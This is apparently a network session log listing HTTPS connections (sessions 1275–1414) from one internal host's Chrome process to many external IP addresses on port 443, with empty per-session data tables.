Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.17	51345	74.119.117.16	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.17	51353	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.17	51342	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.17	51301	23.83.76.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.17	51348	18.233.215.237	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.17	51350	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.17	51354	147.75.198.144	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.17	51356	34.149.50.64	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.17	51351	5.9.235.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.17	51343	54.160.182.222	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.17	51352	192.132.33.68	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.17	51357	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.17	51355	23.40.179.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.17	51358	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.17	51359	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.17	51362	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.17	51360	34.234.6.154	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.17	51365	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.17	51363	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.17	51367	169.197.150.7	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.17	51326	23.83.76.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.17	51366	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.17	51364	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.17	51371	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.17	51370	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.17	51368	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.17	51372	34.234.6.154	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.17	51373	34.107.140.113	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.17	51376	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.17	51375	23.40.179.158	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.17	51374	5.9.235.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.17	51378	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.17	51377	216.200.232.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.17	51382	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.17	51379	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.17	51383	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.17	51384	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.17	51386	34.102.243.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.17	51387	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.17	51389	34.107.140.113	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.17	51391	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.17	51396	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.17	51392	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.17	51397	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.17	51398	34.102.243.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1320	192.168.2.17	51399	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.17	51401	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.17	51402	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.17	51403	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.17	51404	142.251.40.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.17	51407	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.17	51408	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.17	51185	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.17	51415	35.236.220.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.17	51417	192.184.68.215	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.17	51421	18.206.144.25	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.17	51424	185.184.10.30	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.17	51423	34.96.71.22	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.17	51418	216.200.232.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.17	51419	54.205.30.208	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.17	51426	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.17	51427	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1337	192.168.2.17	51428	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.17	51429	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.17	51430	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.17	51431	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.17	51433	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.17	51434	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.17	51435	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.17	51437	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.17	51436	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.17	51438	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.17	51439	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.17	51440	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.17	51441	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.17	51442	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.17	51443	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.17	51444	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.17	51447	34.96.71.22	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.17	51446	192.184.68.215	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.17	51445	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.17	51449	45.137.176.88	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.17	51448	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.17	51450	23.105.12.121	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.17	51451	23.105.12.121	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.17	51452	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.17	51453	23.105.12.121	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.17	51456	216.22.16.57	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.17	51455	216.22.16.57	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.17	51454	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.17	51457	216.22.16.57	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.17	51458	23.105.12.121	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.17	51459	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.17	51460	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.17	51461	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.17	51462	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.17	51463	35.190.80.1	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.17	51464	35.190.80.1	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.17	51466	35.190.80.1	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.17	51467	35.190.80.1	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.17	51465	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.17	51468	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.17	51469	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.17	51470	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.17	51471	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.17	51473	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.17	51474	52.55.144.0	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.17	51475	52.55.144.0	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.17	51476	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.17	51477	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.17	51478	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.17	51479	50.57.31.206	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.17	51480	50.57.31.206	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.17	51481	162.19.138.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1389	192.168.2.17	51482	54.205.30.208	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.17	51484	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.17	51485	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.17	51491	35.174.179.73	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.17	51487	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.17	51490	35.174.179.73	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.17	51488	155.204.117.12	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.17	51489	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.17	51495	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.17	51496	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.17	51497	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.17	51499	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.17	51500	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.17	51498	216.219.92.22	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.17	51501	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.17	51502	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.17	51486	23.83.76.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.17	51503	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.17	51504	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.17	51506	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.17	51507	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.17	51508	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.17	51510	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1412	192.168.2.17	51514	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.17	51513	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.17	51516	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

